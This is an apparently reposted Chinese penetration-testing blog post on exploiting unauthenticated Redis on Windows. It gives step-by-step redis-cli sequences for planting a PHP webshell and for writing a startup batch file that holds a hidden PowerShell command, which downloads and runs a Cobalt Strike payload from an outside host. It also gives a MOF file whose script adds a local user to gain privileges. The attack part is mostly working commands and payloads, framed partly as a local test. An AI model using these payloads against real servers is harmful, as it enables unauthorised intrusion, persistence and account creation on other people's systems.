内容简介:在某次内网渗透中遇到了redis+windows的环境,由于目标较为敏感因此在本地和uknow大佬一起进行了测试,也因此有了下面的文章。首先下载windows版本的redis
在某次内网渗透中遇到了redis+windows的环境,由于目标较为敏感因此在本地和uknow大佬一起进行了测试,也因此有了下面的文章。
环境搭建
首先下载windows版本的redis
https://github.com/dmajkic/redis/downloads
下载的 Redis 包含32位和64位操作系统,根据自己实际情况选择,本次测试使用的是64位系统。
切换到对应目录,命令行下输入 redis-server.exe redis.conf
运行redis
查看端口6379已经开放,说明Redis启动成功。
在本机使用telnet 连接靶机 telnet 192.168.1.101 6379
连接后输入info查看是否成功
也可以通过redis-cli.exe来进行连接
对于windows下的获取权限的方式,网上并不是很多,但是对于Redis未授权漏洞的利用,其最根本的原理就是写文件的利用,个人简单概括一下大致的几种(可能有考虑不周的,大佬们轻喷)
1、能够获取web绝对路径的,直接写入webshell
2、写入启动项
3、写入mof、dll劫持等
漏洞利用
写入webshell
第一种写入webshell,需要通过phpinfo或其他的报错方式来获取网站绝对路径
然后通过执行如下命令获取shell
C:UsershpDesktop64bit>redis-cli.exe -h 192.168.1.101 -p 6379
redis 192.168.1.101:6379> CONFIG SET dir c:/phpstudy/www
OK
redis 192.168.1.101:6379> CONFIG SET dbfilename evil.php
OK
redis 192.168.1.101:6379> set x “<?php phpinfo();?>”
OK
redis 192.168.1.101:6379> save
OK
查看webshell地址
写入启动项
第二种写入启动项也是和在 linux 环境下如果无法获取webshell或写入ssh-keygen情况下写入启动项一样的原理。
windows下的开机启动项的目录为
C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/
这边有个小细节,由于Start Menu之间有空格,因此需要用双引号将路径包含。
这种情况下获取 shell 的方式可以使用mshta,具体可以参考ukonw大佬的博客
https://uknowsec.cn/posts/notes/Redis%E5%9C%A8Windows%E7%8E%AF%E5%A2%83%E4%B8%8BGetshell.html
另外的方式也有很多,内网中我现在比较喜欢msf和CS的结合,这边使用Cobalt Strike也举个栗子。
先启动CS服务端 ,命令如下:
root@kali:~/cobaltstrike# ./teamserver 192.168.1.105 233
在启动客户端,输入密码和地址
添加一个Listener 监听器
选择Attacks – Web Drive-By – Script Web Delivery,选择刚才添加的Listener
点击Launch之后生成如下代码
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.105:80/a'))"
直接保存为1.bat即可
其中存在两个小细节,一个是由于dbfile本身是有内容的,因此命令要正常运行必须先换行,经过测试需要两个换行符rn才能正常运行,还有一个是由于本身执行命令中也有双引号,因此需要加入转义
C:UsershpDesktop64bit>redis-cli.exe -h 192.168.1.101 -p 6379
redis 192.168.1.101:6379>config set dir “C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/“
OK
redis 192.168.1.101:6379> CONFIG SET dbfilename 1.bat
OK
redis 192.168.1.101:6379>set x “rnrnpowershell.exe -nop -w hidden -c ”IEX ((new-object net.webclient).downloadstring(‘ http://192.168.1.105:80/a’))”rnrn”
OK
redis 192.168.1.101:6379> save
OK
查看服务器启动项,发现正常写入命令
重启机器,服务器就上线了。
写入MOF
这个也是本次文章的原因,由于不能重启机器也无法获取web目录,想到Mof提权,不过也是有环境限制只能为win2003,也是由于当年玩提权时候很多时候都是找最简方式提权,所以没尝试过这种老式的提权方式,这次也算弥补了一下技术遗憾。
简单描述一下mof提权的原理:
mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做”托管对象格式”其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了 mysql 的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。
也就是说在 c:/windows/system32/wbem/mof/
目录下的mof文件会每5秒自动执行一次,这样就不需要重启机器就能获取权限了。
emmm 这个操作和写入ssh keygen类似,因此还是建议在linux下完成。
首先将如下代码保存为mof文件:
#pragma namespace("\\.\root\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa "Win32_LocalTime" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject("WScript.Shell")nWSH.run("net.exe user 3shine admin /add")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
此处要执行的命令为添加名为3shine的用户
然后执行
(echo -e "nn"; cat 3shine.txt; echo -e "nn") > foo.txt
切换到redis目录,运行如下命令
过一会就看到用户添加成功了。
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- solr未授权访问漏洞的利用
- 利用CouchDB未授权访问漏洞执行任意系统命令
- 首个Spark REST API未授权漏洞利用分析
- 利用Spring Social轻松搞定微信授权登录 原 荐
- Couchdb未授权访问可执行系统命令(利用cloudeye神器回显)
- 事件分析 | 一起攻击者利用 Redis 未授权访问漏洞进行新型入侵挖矿事件
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
XML Hacks
Michael Fitzgerald / O'Reilly Media, Inc. / 2004-07-27 / USD 24.95
Developers and system administrators alike are uncovering the true power of XML, the Extensible Markup Language that enables data to be sent over the Internet from one computer platform to another or ......一起来看看 《XML Hacks》 这本书的介绍吧!